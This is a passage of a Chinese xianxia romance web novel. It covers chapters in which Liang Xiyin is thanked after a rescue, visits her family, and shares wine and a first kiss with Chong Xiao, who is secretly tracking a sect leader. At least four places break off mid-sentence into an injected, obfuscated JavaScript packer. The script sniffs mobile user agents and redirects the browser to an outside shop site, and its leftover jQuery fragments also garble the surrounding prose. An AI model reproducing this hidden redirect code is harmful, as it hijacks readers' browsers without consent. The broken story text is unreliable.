“这风险这么大的事冥龟子也要做?简直是为提升功力不顾一切了啊。”江映和感慨道。 杜昱并不奇怪:“魔族嘛,自然什么都做得出来,万幸是将人提前救出来了。” 这时店小二在外面敲响了房门:“仙长可在房中?楼下有好些人说要见几位。” 房内众人对视一眼,梁惜因走过去开门道:“好,我们知道了,马上便下去,辛苦你了。” 柳甫畅不解:“好些人?要见我们?” 燕明昭耸了耸肩:“下去看看就知道了。” 这好些人是真不少,几乎站满了半个大堂。梁惜因从中认出了几张熟悉的面孔,正是她此前拜访的失踪者的家人。除他们外,还有不少好奇围观的玄晖宗弟子。 这些人见了梁惜因几人,竟是全都跪了下来,颤着嗓音道谢:“多谢仙长!多谢仙长!” “仙长大恩大德,小民实是无以为报啊!” “我本以为再也见不到我女儿了,多谢仙长啊!” 几人一惊,纷纷上前将人扶起。 谢淳弯腰扶着一位老汉,又对余下众人说:“诸位快快请起,我们也没做什么,实是担不得如此谢意。” 燕明昭很不习惯在大庭广众下被如此感谢,磕绊着说:“就、就是啊,主要还是师尊他们的功劳。” 一名老者上前道:“仙长过谦了,我们已听玄晖宗的几位峰主说了,正是你们主动调查失踪一事并击败了陆府那些人。若非几位仙长,我儿子哪能这么快回来啊!”他说着推了下身边的年轻人,“快去向仙长谢恩!” 那年轻人面色苍白,脚步虚浮,无比郑重地对他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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身后隐隐传来动静,梁惜因一回头,见门口趴着数十个玄晖宗弟子的脑袋,顿时被唬了一跳:“你们这是在...?” 这些弟子看了半天的热闹,早就按捺不住满腹的疑问,将房门堵得水泄不通:“那些人是谁啊?为什么要谢你们?” “我昨晚好像见不少峰主和长老都往陆府去了,发生何事了?” “咦?你们怎么还受伤了?” 他们边问边往里挤,这不大的一间房很快连下脚的地方都要没了。梁惜因最不擅应付这种场面了,且她昨夜睡前给梁书芸递了消息说今日要去看她,于是费了好大的力气才从人群中挤了出来。 她抹了抹额角的汗,侧身一望,柳甫畅竟也挤了出来,用玉冠束着的发都被挤得有些散乱。 两人相视一眼,柳甫畅:“我去看小妹。” 梁惜因:“我去看三姐。” “走!”两人一拍即合。柳甫畅边下楼边心有余悸地回头望了眼,像是生怕他们会再追上来,“可怕,这群人简直比昨晚陆府那些人还可怕!” 40. 回府 柳甫畅扶了扶头上歪斜的玉冠,看向梁惜因说:“师妹,我先和你去趟梁府,舍妹在陆府密室中多蒙令姐照顾了。” “嗯?好啊。”如此说来,她此前看见的梁书芸抱着的小女孩就是柳小妹了。 “二师兄可有回柳府看过?不知令妹眼下身体如何?”梁惜因问道。 提起妹妹,柳甫畅整个人的神色都温柔不少:“挺好的。玉衡峰的人淡去了他们在密室中的记忆,并开了受魔息影响后调理的方子,接下来要做的就是静养。” 记忆淡化掉也好,想想密室中那满地的鲜血和尸块,就连梁惜因都有些受不了。 柳甫畅继续说:“我昨夜便回柳府看过笙儿了,她都困得睁不开眼了,还抓着我的衣角不肯让我走。还是我答应今天再去看她,她才肯上床去睡觉。” 梁惜因听得心内一动。她从小就很羡慕那些有哥哥的人。不知为何,她总觉着自己也该是有个哥哥的。小时候不懂事那会,她经常一遍又一遍地追着孤儿院院长问她的哥哥在哪,哪怕每次得到的答案都一样——她没有哥哥。直到很久之后,她才心不甘情不愿地接受了这个事实。 但无论如何,孤儿院都给了幼时的她极大的温暖,她也一直将院长当作妈妈看待。她在现世的那副身子患有先天性心脏病,也是蒙了院长的悉心照顾才能顺利长到成年。只是自己那副身子终究是不争气,之所以会穿到这个世界估计也与病发有关。 这般一路回想着,两人很快便到了梁府门口。这次守门的侍卫看到她,远远的便迎了上来:“四小姐!还有这位仙长。” 梁惜因问他道:“我三姐怎么样了?” “三小姐已然无恙了,柳府的人这会也来看望三小姐了。”侍卫答道。 柳府?“那我这倒是来得巧了。”柳甫畅摇着扇子笑道。 既然来了客,梁惜因便没去梁书芸的院落,而是往正厅走去。果不其然,正厅中站满了人,还有满地金光闪闪的金银珠宝。 梁惜因:“......”你们柳家是真的很富。 梁允正跟另一个中年男子说着话,梁惜因还是头一次在他脸上看到这么夸张的笑容:“柳老爷,小女也没做什么,怎能担得起如此厚礼?” 柳老爷长着张圆脸,笑起来的时候连眼睛都要看不到了:“梁大人再这么推脱下去,那柳某可就要过意不去了!” 梁书芸坐在一张椅子上,一个粉面朱唇的小姑娘正亲热地同她说着话。正说着,她眸光一转,看见了不远处的柳甫畅和梁惜因二人,立马提着裙摆跑了过来。 “稚笙,慢些!”梁书芸连忙喊道。 柳稚笙笑着扑向早已张开双臂等着她的柳甫畅:“大哥!” “不是让你在家中好好休息吗?”柳甫畅故意板着脸问她。 “可是我想梁三姐姐了。”柳稚笙噘着嘴道。 “好,哥哥也是来看梁三姑娘的。”柳甫畅神色顿时松动下来,揉了揉她的脑袋。又向她介绍道:“这是你梁四姐姐。” 柳稚笙甜甜笑道:“梁四姐姐好!” “诶,柳小妹好。”梁惜因笑着回应她。 三人回到正厅中,厅内诸人早已听到动静了,沈氏走过来牵住她的手,亲热道:“四姑娘回来啦,此次还真是多亏了四姑娘。” 柳老爷听了,“诶哟”一声,也过来说了一通好话。梁允从方才起就犹豫着要不要过来,结果根本插不上话,只能不尴不尬地站在一旁。 梁书芸站起身来唤她:“四妹。”梁惜因见她整个人都清瘦了不少,忙让她坐下。 “是啊,梁三姑娘,有什么事坐下说就行。”梁惜因闻声望去,见是个锦衣玉袍的小公子,眉眼和柳甫畅有几分相似。 柳甫畅又向梁惜因介绍道:“师妹,这是我二弟柳逸兴。” 柳逸兴弯腰向她行了一礼,梁惜因也回礼道:“原是柳二公子。” 又说了近半个时辰的话后,柳家人才告辞离开。柳稚笙蹦蹦跳跳地走在柳甫畅身侧,牵着他的手问道:“大哥,以后我还可以来找梁三姐姐玩吗?” 柳甫畅点头:“自然可以。以后你若是想来,也不必去劳烦阿爹阿娘,让你二哥陪你就成。” 梁惜因和梁书芸回到院中继续聊着,“三姐可还记得那晚是如何被带走的?”梁惜因问她道。 梁书芸沉思半晌,终是摇头道:“不知。那晚我睡得很沉,再一睁眼就发现自己身处在牢中。” “那牢里黑得伸手不见五指,我还看到...”她神情变得迷茫起来,“看到什么来着,我想不起来了。” “那便不要想了,反正都已过去了。”梁惜因道,“对了,我此前给的护身符三姐可有一直带着?”那符能抵挡魔息,按理说梁书芸不该如此虚弱的。 梁书芸说:“说来四妹勿怪,我看稚笙年纪小,恐她受不住,就将符佩在她身上了。” 难怪柳稚笙看着精神那么好。“三姐此举又没做错,我怎会怪你。”梁惜因又从袖中取出一叠符来,“正好此次我多带了些,三姐你拿好。” 梁书芸伸手接过,怔了片刻,颤着声道:“四妹你待我这般好,我却...只恨我没能早日发现四妹在府中的处境,不然还能帮衬着些。” 梁惜因最怕这一套了,忙打断她道:“三姐你可别这样,不过是举手之劳而已。” 梁书芸抹着泪点头。又说了一会话,梁惜因见她体力不济,便起身告辞,走到房门口时却发现了一手提着食盒,另一手牵着梁书宥的沈氏。 “母亲,五弟,你们在门口多久了,怎么不进来?”她惑然道。 沈氏笑了笑:“怕打扰你们姐妹俩说话,就想着在门口先等会。”说着,她将食盒递给梁惜因,“四姑娘这么大的恩情,我若是不做些什么,实是心下难安。可思来想去又觉四姑娘如今什么也不缺,便亲自做了些点心,也算是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14504826|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聊表些心意,还望四姑娘不嫌弃。” 梁惜因有些惊喜地接过:“怎会,倒是让母亲费心了。” 一直听着她们说话的梁书宥这时也把手伸了出来,半低着头腼腆道:“这个送给四姐。” 梁惜因从他掌中拿过那几只编得很是精美的草蝴蝶,细看了看后不由赞道:“五弟的手艺可真不错,编得真好看。” 梁书宥闻言,很是不好意思地又往沈氏身后站了站。 沈氏继续表示,只要梁惜因以后还愿意回梁府来,她与梁府众人定会全心相待,并尽最大力度款待她。 如此又客气了番,梁惜因告别二人,往梁府外走去。快走到梁府大门口时,梁惜因忽然止住脚步,回头对着一处墙根道:“跟了我一路了,还不准备出来?” 空气凝滞片刻,梁宣和梁宜这两个一大一小的身影从墙根处走了出来。 梁惜因意外地挑了挑眉,问:“有事?” “没、没有。”梁宣避开她的视线。倒是梁宜眼含崇拜地盯着她道:“四姐,我都听说了,你好厉害啊!” 话音方落,他就被梁宣用胳膊肘捅了一下,顿时面露痛色,想叫又不敢叫。 梁惜因打量着梁宣,只见他比起之前要瘦了许多,眉间的戾气也消下去不少,虽然看着还是不怎么讨喜,但至少不令人讨厌。 她起了点玩笑的心思,对梁宣道:“那六弟呢,觉得我厉害吗?” 梁宣愣住了,嘴唇动了又动,梁惜因十分怀疑那是骂她的话。就在梁惜因以为他不会答话时,却听梁宣低着头嗫嚅道:“是挺厉害的...” 他这回答是梁惜因实打实没想到的,几人一时无话。须臾,梁惜因笑着轻叹了一声,从袖中取出两张避魔符递给他们:“拿着吧,能避魔的。” 梁宜双手捏着那张符,两眼放光道:“谢谢四姐。” 梁宣则是一动不动,神情别扭地盯着手中的符纸,一副想扔又舍不得扔的模样。梁惜因看得好笑,伸手拍着他的肩道:“要好好照顾弟弟,知道吗?” 梁宣身子往旁边一侧,躲开了她的手,喊道:“这我当然知道!” 说完他也不看梁惜因做何反应,扭头就跑,察觉到梁宜还呆呆地立在原地,又折回来拽他:“走了,七弟!” “啊?哥哥你等等我!”梁宜跌跌撞撞地跟在他身后。 梁惜因看着跑远的两个小孩,捏了捏握成拳的指节。梁宣这小子,果然还是很欠揍啊。 回到客栈后,梁惜因便把食盒中的点心给众人分了些。燕明昭咬了一口道:“还挺好吃,我记得你那个弟弟就会做点心,是他送来的吗?” “不是,是我母亲做的。”梁惜因答道。况且若真是重霄做的,怕是也不会愿意分给除她以外的人吃。想到这,她不禁露出一抹笑意,也不知阿霄此时在做什么... 看着梁惜因莫名其妙笑起来的燕明昭:“......?” 41. 发簪 梁惜因来到殷照房中,思来想去后,她还是决定把白元绪一事告知于他。 殷照刚从苍梧宗开完集议回来,眉间隐隐透出疲色,不禁对梁惜因吐槽道:“徒儿,你说这一天到晚开集议有什么用,一群人一坐就是大半天,也没见讨论出什么东西来。”说着,他把杯中茶水一饮而尽。 看来师尊是真被气到了,连酒也不喝了。梁惜因也端起面前的茶盏浅啜了一口,顿时脸色一变,险些直接吐出来。这熟悉的又酸又苦又涩的口感,不正是那日的拜师茶吗! 她早该想到的,殷照这里还能有什么茶...而殷照本人又给自己倒了一杯,面不改色地饮着,连眉头都没皱一下。师尊他该不会是喝酒喝得味觉都变了吧,梁惜因心中暗道。 “不提这些了,徒儿你来找为师是为了何事?”殷照扫去眉间的郁色问道。 梁惜因默默把茶盏推远了些,将自己此前从祝轻云那听闻的事尽数说与他听了。 殷照神情凝重起来,轻轻晃着手中的杯盏,过了半晌才道:“你认为白掌门有问题?” “只是觉得此事过于巧合了,难免有些蹊跷。”梁惜因斟酌着说。 殷照将手中茶盏放下,紧皱的眉心却不曾松展:“我和沈峰主也觉白掌门太心急了。他做事向来谨慎,却在今日的集议上力主对余下的魔族进行剿灭。” “可又非世间所有魔族都是十恶不赦之徒。”梁惜因紧跟着说。 殷照凝视着她,说:“你所说的我们又怎会不知。白掌门今日在集议上的表现,其实都可视为恩师被害后的痛悔愤恨。可以我对他的了解,他实在不像是一个会被情绪影响至此之人。” 他话音一转,“但也说不准,毕竟他与陆家主间的师徒情谊是众所皆知的。他有一句话说得很对,没有陆家主,就没有今日的他。他身上可能是有些问题,但若说是他设计害死了陆家主,我实在是难以相信。” 梁惜因沉吟着点头:“那师尊,我们现在该如何?” “方才所说的一切不过是出于你我的猜测与怀疑,手头上没有任何证据能表明什么。眼下只宜按兵不动,看能不能发现什么破绽。” 在辞了殷照回去后,梁惜因还在思索着两人的对话。若是白元绪没有理由害人,那又是谁要害向来与世无争的陆闻朔?且陆闻朔修为不低,想要神不知鬼不觉地下手,要么是修为与他不相上下,要么是陆闻朔极为信任此人,信任到不做任何防备。 如此看来,还是不能完全排除白元绪的嫌疑。 燕明昭见她回来后一直不说话,还一脸的忧心忡忡,便随意寻了个话题道:“对了师妹,你这梨花簪是从何处买的?这些时日天天见你戴。” 梁惜因回过神来,抬手摸了摸发间的银簪:“啊,这是阿霄送给我的。” “哈?!”燕明昭一惊,她本是在随手翻着书,这下干脆连书都丢到一旁了,紧盯着她道:“你是说你弟弟?” 梁惜因被她突然提高的嗓音唬了一跳,不由自主的也紧张起来,磕绊道:“嗯,有、有问题吗?” 还有问题吗,这问题大了去了啊!!燕明昭看着自家年纪轻轻的小师妹,深吸一口气,再次问道:“你确定他是你弟弟?” “确定。”梁惜因答得很快,语气极为肯定,但心跳却隐隐加快了。被看出来了吗?不应该啊...总之先稳住再说。 怎料燕明昭直接拿手捂住了脸,一副怀疑世界的样子。 梁惜因好像隐约意识到了什么,喉间滑动,犹疑着问:“这簪子...怎么了吗?” 燕明昭从手中露出两只眼睛,幽幽地注视着她说:“师妹你不知男女间送发簪的含义吗?” 过了一会,江映和从半开的房门探进来个脑袋:“梁师妹,有个自称是你弟弟的人...” 房间里头静悄悄的,燕明昭双手撑着下巴,一脸沉思。与她相对坐在另一张床上的梁惜因则是捂着脸,脸侧的耳垂红似滴血。 江映和疑惑了半晌,才把后半句话补完:“...说他在客栈门口等你。” 燕明昭眸光一动,问梁惜因道:“你要去吗?” 梁惜因把手放下,猛地站起了身:“去!为什么不去!”结果因动作太快,她眼前一阵阵地发黑,脚步也踉跄了几下。 燕明昭忙去扶她:“你想好了?” “当然,这有何好想的,如果是误会的话自然要去说清楚。”梁惜因莫名亢奋,还没说完就风风火火地出了房间。 燕明昭想拦她都没拦住,她本想说这还真不一定是误会,她早就觉着这两人不对劲了好吗!不过姐弟之间那什么的,她还以为只有话本子里才会有,没想到竟然就发生在她身边。想着想着,燕明昭莫名有些激动。 可要真是这样,那自己这个做师姐的到底是该支持还是反对? 还没走远的江映和忽然感到身边刮过一阵风,他定睛一看,那不是梁师妹吗?跑这么快??他心里头更纳闷了,往里探了探头,想着去问问燕明昭,结果就见燕明昭坐在床上,仍保持着双手撑下巴的姿势,只不过脸上一会露出奇怪的笑容,一会又苦恼地皱起了眉。 江映和:“......”好生诡异。 他正想装作什么都没看到,悄悄转身离开,怎奈燕明昭已然看到他了。四目相对间,燕明昭对他摇了摇头,带着几丝怜悯地叹道:“你是不会懂的。” 江映和:“......”啥啊??? 梁惜因在走到最后几级台阶时,步子又慢了下来。她比起方才冷静了几分,但胸腔内的心跳依然剧烈,一下一下地震着耳膜。燕明昭说的话又浮现在她脑中——“发簪是一种很特殊的定情信物。若是一男子赠给女子,则意味着他想求娶这女子为正妻。” 求娶...为妻吗?梁惜因发觉自己不仅不反感,甚至还生出了些隐秘的期待来。 意识到自己在想什么后,她赶紧甩了甩脑袋,想把这个想法甩出去。真是疯了,阿霄可是她看着长大的弟弟啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14511874|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且阿霄说不定根本不知赠发簪的含义,要不是燕明昭告诉她,她之前不也是不知道吗... “姐姐?” 梁惜因浑身一僵,迟疑着抬眸,果见重霄站在几级台阶下平视着她。许是为掩人耳目,他今日特意戴了顶斗笠。斗笠的帽檐在他脸上投下些微阴影,更显得他的眉眼精致而立体。 而此刻这双向来淡漠的眼里盛满了温柔笑意:“我在门口看姐姐许久了,姐姐怎么不过来?”话虽如此,他的语气里却无一丝一毫的埋怨。 “我...”梁惜因下意识地想后退,却忘了身后是台阶,眼看着就要往后倒去。好在重霄及时伸手揽住了她的腰,同时向前踏上台阶,将人按进了自己怀中,“姐姐怎么这般不小心。” 梁惜因的脸埋在他的肩膀处,耳边砰砰作响的不知是谁的心跳声。她忽然意识到这是在客栈中,连忙拉开了距离。果如所料,眼下客栈中的人虽不多,但视线大都集中在了他们二人身上。 梁惜因脸皮薄,拉着重霄就向外走:“我们出去再说。” 见他们确实走远了,大堂内的众人才纷纷议论出声:“那两人是谁啊?郎才女貌,还挺般配。” “穿宗服的那位不是天璇峰的梁师妹吗?我们峰还有好几个师兄师弟想追求她来着,这下看来没戏喽,啧啧啧。” “等等,我好像听闻梁师妹有一个弟弟来着,说不定人家只是姐弟呢!” “得了吧,谁家姐弟是这么相处的?再说了,这两人长得一点都不像啊!” 梁惜因拉着重霄走出一段距离后才渐渐放慢脚步,重霄一直垂眸看着她,此时说道:“姐姐今日一直在忙。” “嗯,失踪一事看似解决了,但疑点却更多了。”不过她眼下不想让这些事占用她与阿霄在一起的时间,“先不说这些了,不知阿霄今日都干了些什么?”她抬眸望着重霄道。 “在想姐姐。”重霄没有丝毫迟疑地说。 梁惜因见他神色认真,唇边笑意浅浅,一点都不像是在开玩笑。她复又低下头去,只觉颊边温度更甚,哪有这么回答的啊,简直是犯规...偏偏她还知道这话基本是真的。 她正想着要回些什么,就瞥见了重霄另一只手提着的坛子,“那是什么?”她问。 重霄将坛子提起了些许,好让她看的更清楚些:“是皇城名酿松根月,特买来与姐姐共饮。” “我听过这个酒,好像一向很难抢。阿霄你竟然能买到,好厉害。”梁惜因惊喜地道,“那我们现在去哪?” “我知道一个好地方,姐姐可愿去?”重霄笑着问她。 “自然。”梁惜因忽然发觉他们走到了一个小巷中,重霄向她走近了些,将手按在她的后腰上,低头在她耳边说:“姐姐,抱紧了。” 温热的气息洒下,低沉的嗓音近在咫尺的响起,惹得她耳畔一阵酥麻。大脑空白一瞬,梁惜因犹豫须臾,依言紧紧抱住了重霄。 下一刻,重霄就揽着她跃离了地面。 42. 轻吻 此时天色已晚,半弯的新月慵懒地登上枝头。重霄揽着她,几息之间就已跃过数间屋檐。梁惜因从他怀里探出半个脑袋,晚间的风在她脸上,清清爽爽,搅动了原本闷热的空气。 发丝飞舞间,梁惜因看见街巷上游人如织,一串串灯笼被点亮挂起,就如夜空中的繁星,交织着连为一片。远方的护城河上,一只只木舟随着水波晃荡着,船头的灯火起伏不定。这样的一只木舟极易被黑暗吞噬,可若是千百只木舟聚在一起,那场面便如游鱼过江,浩瀚非常。 天边盘旋过几只飞鸟,叫声悠远绵长,似在催促行人归家。 重霄带着她在一处屋檐上落下,再确认梁惜因站稳后,才慢慢收回揽在她腰上的手。 梁惜因理了理被风吹得有些乱的长发,抬眼向远处望去。此处接近城郊,地势较高,再加上楼层的加持,几乎能将大半个皇城尽收眼底,于是纵目之间,可见万家灯火,楼阁相接,绵延不绝。 她以前身处在皇城中,只知其繁华富庶,却不知其原来也可以如此壮阔,仿佛天地间所有的喜乐悲苦、聚散离合都融在了其间。 梁惜因和重霄并肩坐下,天边银白的月色夹杂着揉碎了的星光,给两人笼了层缥缈的轻纱。“阿霄,你是怎么发现这个地方的?”梁惜因好奇道。 “闲来无事,偶然觅得罢了。”重霄已将斗笠取下,边说边打开了酒坛。酒香瞬间浮动到空中,香得直往人心里钻去,让人还没品到味就浮想联翩起来。 重霄又变戏法似的从袖中摸出两个白玉杯。“你连这都备好了啊。”梁惜因打趣道。 “嗯,专门为姐姐备的。”重霄往玉杯中斟满酒,将杯子递与她。 梁惜因小心翼翼地接过,先是放在鼻子下嗅了嗅,闻到了一股极为清冽的气息,令人想起寒松、晚风与月色,沁人心脾。她迫不及待地抿了一口,玉杯是凉的,入口的酒也是凉的,但那股松香更为浓烈了,好似在舌尖绽开一般,醇厚极了。 难怪这松根月会被称为皇城名酿,梁惜因只觉身心都舒泰了。哪怕此前从未喝过酒,梁惜因也禁不住小口小口地将这一杯都喝完了,接着又满目期待地看向了重霄。 重霄怎会不知她的意思,轻笑一声,将手中饮尽的玉杯放到一旁,替她将酒添满了。嘴上还不忘提醒道:“这酒烈得很,姐姐还是少喝些为好。” 烈吗?梁惜因一点都没感受出来,“无事,我有分寸。况且这不是还有阿霄在嘛。” 重霄看向她的眼神中带上了些许无奈:“姐姐就这般放心我?” 梁惜因理所当然地点头:“嗯,我最放心的就是阿霄了。” 重霄笑了笑,不置可否,只是默默饮着杯中的酒。梁惜因喝完这杯后觉着头有些晕,可她又实在喜欢这酒的味道,央着重霄又倒了一杯。如此重复几次下来,重霄说什么都不肯再给她倒了:“姐姐已经醉了,今日便到这吧。” 梁惜因不服:“谁说我醉了。阿霄,最后一杯,真的就最后一杯。”说着,她又往重霄面前凑了凑。 清夜无尘,月色如银。重霄能清楚地看到梁惜因双颊上的酡红和自己在她眼中的倒影,两人身上的酒气混在一起,不知为何更加惹人沉醉。说不清是今晚的月色太好、手中的酒太香醇,还是身边的人太美好,向来酒量极好的重霄此刻竟也有了些微醉意。 晚风轻扬,一切都显得那么刚刚好,就如同梦里才会出现的场景。 他拒绝不了梁惜因,依言又给她倒了一杯,没什么气势地强调道:“最后一杯。” 梁惜因乖巧点头,她没急着喝,而是凝视着杯中那轮小小的弯月。她来之前是要问重霄什么来着?想起来了,是关于那银簪,阿霄他...真的知道送簪子的含义吗? 她将酒饮尽,借着酒意壮胆,终于下定决心问道:“阿霄,你之前...为何要送我那梨花簪?” 重霄从方才起就一直注意着她的神情,他能看出梁惜因有心事。只是他原以为她在忧心失踪一事的后续事宜,没曾想她却是问了这么一句。 “姐姐以为呢?”重霄凝视着她,不答反问。 “我...?”梁惜因抬手将发间的簪子摘下,青丝散落,给她整个人更增添了一丝柔婉。良宵淡月下,银白的簪身散发着淡淡的微光,她摩挲着簪头的梨花,脑海中浮现出往日与重霄相处的点点滴滴。 从她第一次在林中遇到他始,到梁府中相依相伴的的那些时日,再到陵州城每旬的盼望与惦念,以及不久前的日日相见...心脏像是要跳出胸腔,有什么东西逐渐明晰起来。 梁惜因在现世时从未喜欢过什么人,而今她才第一次知道,原来喜欢一个人的感受,是如此的叫人雀跃,好像面前的整个世界都变得明朗起来。 这般想明白后,她唇角绽出一抹笑,正要侧过头去回话,却见重霄不知何时靠了过来,两人之间的距离极近,近到温热的呼吸都交缠在了一起。 梁惜因呼吸一滞,直直注视着眼前重霄俊美的面容,她眼睫颤了颤,没有避开,而是轻轻阖上了双眼。 下一秒,唇上覆上了一个柔软的物什。重霄一手轻托着她的后脑,侧头吻了上来。带着松香的酒气在两人的唇齿间弥散开来,酒不醉人人自醉。 这个吻并没有持续多久,重霄很快拉开了距离。他放在梁惜因后脑上的手缓缓向下移着,在她的耳垂揉捏片刻,又轻抚上她的面颊。 “阿因...”他低声唤道,嗓音里透出几分沙哑。 自他的吻落下始,梁惜因整个人就已红透了。许是因为实在是太过害羞,梁惜因接下来一句话都不肯说了。重霄也不开口打破这份静谧,只是把梁惜因揽进怀中,让她靠在自己的肩头。 不多时,身侧传来均匀的呼吸声,他侧头看去,见梁惜因已然睡熟了。重霄含着笑,另一只手温柔地替她将脸上的碎发拂到耳后。 这般看着怀中安睡着的梁惜因,重霄脸上的笑意渐渐淡了下去。 真是疯了,他想。 他再清楚不过,眼前的一切都是他骗来的。梁惜因是将那些事忘记了没错,可他却记得清清楚楚。 她是他的师,是人人交口相赞的含盈仙子,一手将他教养长大,又为他...殒命。而他,不过是一个从至暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14524153|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处生出来的怪物,比魔族还要低劣几分,合该一辈子待在阴影之中。 纵如此,他还是忍不住贪恋眼前的温暖。 他轻柔地将梁惜因的手握在掌中,哪怕这只是一场终将会醒的幻梦,他也想在其中陷得久一些、再久一些... 一道黑影从远处掠来,重霄暗自凝神戒备。那黑影无声无息,直冲二人而来,最终堪堪停在了重霄面前。 见是闻影,重霄默默收起掌中的怨气,低声问他道:“何事?” 闻影目瞪口呆地看着眼前的这一幕,要不是他不能说话,恐怕早就叫出声来了。在看清梁惜因的长相后,他更是激动,手舞足蹈地胡乱比划着什么,将屋檐踩得噔噔作响。 梁惜因皱了皱眉,极低的嘟囔了句什么。看来怨气收早了,重霄复又凝出怨气,语气不耐:“说事。” 闻影立马老实了,乖乖地将留影符双手递了过去。他心里头好奇得要命,可老大不说,他又能怎么办啊! 重霄将符咒驱动,符纹流转间,空中出现了一道画面。画面中显现出夜晚的苍梧宗,应是不久前才发生的事。一派静谧的夜色中,一群修士从主殿中走了出来,看着像是刚开完集议。 接着画面模糊一瞬,又来到了苍梧宗的主殿内部。只见贺千遮独自走在众人最后,他走得极慢,最终彻底停了下来,重新折了回去,进了主殿东侧的一间房。 从画面来看,闻影离得并不远,但重霄却听不见画面中的声音,想来是里头的人布了隔音符,倒是谨慎。过了不多时,贺千遮满面怒气地从房中走了出来,快步离开了。而房中的另一人却久久没有动静,显然是发生了争吵。 画面录到这里戛然而止,重霄将符收起。能随意使用苍梧宗内房间的人...“白元绪?”他向闻影问了一个名字。 话说出口的瞬间,闻影顿时抱住了头,神情痛苦至极。重霄立即用怨气缠绕住他,片刻后,闻影重新平复了下来,躺在屋檐上大口喘息着。 这反应,看来他猜得没错了。受蚀骨忠控制之人不能有任何背主行为,否则将生不如死。重霄已用怨气将咒术的控制减弱了许多,这也是为何那下咒之人至今都寻不到闻影。 “我知道了,你且先回去继续盯着贺千遮,余下的再容我考虑。”他低声说。 闻影恭身对他行了一礼,又化作一道黑影闪身离去了。 重霄一手轻敲着身下的屋檐,如此看来,蚀骨忠是白元绪下的没错了,秘境试炼与此番陆闻朔之事也定与他脱不了干系。他既掌握如此邪法,又极力挑动仙魔间的又一次大战,无非是想借此机会夺取本不属于他的修为。 只要他的所作所为不干涉到他和梁惜因,重霄其实都是懒得管的。怀中的梁惜因仍在熟睡着,重霄看得只觉心都软了。可如若战争当真爆发,届时血流成河,她定会不高兴的,他想着。 若是直接杀了白元绪,对他来说简直再容易不过。可这无疑只会激化修仙界与魔族的矛盾,最好是能将他的所作所为暴露于众。只是以白元绪的手段,这显然也非一日两日就能做到的,还是要先寻找证据,再徐徐图之。 43. 喜欢 梁惜因再睁开眼,入目的是熟悉的客栈屋顶,窗外日光正盛。 梁惜因揉了揉眼睛,有些迷糊,她记得昨日重霄来找她喝酒,然后...那个轻柔的吻简直是历历在目,梁惜因感觉自己又在升温了。 她把被子盖过头顶,在床上滚来滚去,那他们现在算什么,是在一起了吗?话说这些真的不是她昨天做的梦吗?恋爱又要怎么谈啊完全没经验! 脑中的想法一个接一个的冒了出来,梁惜因直感觉快喘不过气了才翻身坐起。而这一坐起,她就见燕明昭坐在对面床上,正满脸一言难尽地看着她。 燕明昭:“......” 梁惜因:“......”完了,忘了这房间里还有一个人了。 她一脸安详地重新躺了回去,想要装作什么都没发生。 燕明昭:“......” “...算了吧,师妹,我方才什么都没看到。”良心莫名有些痛。 梁惜因又坐了起来,眼含热泪,真是她善解人意的好师姐。她起床穿衣,顺口问道:“对了师姐,我昨日是怎么回来的?”她完全没印象了。 燕明昭又默了会才开口回话。昨日入了夜后,柳甫畅、杜昱和江映和三人一同来找她打叶子牌。正打到激烈处,半掩的房门就被推开了。准确来说,是踢开,虽然力度也不大就是了。 四人齐刷刷望向门口,在看清眼前的画面后,极为同步地露出了目瞪口呆的神情。 重霄收回踢门的脚,怀中横抱着的梁惜因披散着头发,手中还紧紧握着一只银簪。杜昱反应最快,立马拍桌起身:“你是何人?对梁师妹做了什么?!”他下意识就想拔剑,结果剑在他自己房中根本就没带过来。 柳甫畅连忙去拉他:“欸欸欸,你冷静些,这是人家弟弟。” 杜昱摸了摸脑袋,震惊道:“哈?梁师妹还有个弟弟?” 重霄一脸漠然,并未理会他们二人,而是径直走到梁惜因床边,动作极为小心地将人放了上去,“人我送回来了。”他又面带不舍地看了梁惜因片刻,这才转身离去了。 江映和收回一直落在他身上的视线,感慨道:“这姐弟俩感情可真好啊。” 燕明昭:“......是啊。”甚至都有点好过头了。 梁惜因听完后,怔了片刻,看来昨晚真的不是在做梦:“...所以他们几个都看到了?” 燕明昭点头,又说:“看到也没关系,他们要能看出不对劲来就见鬼了。” 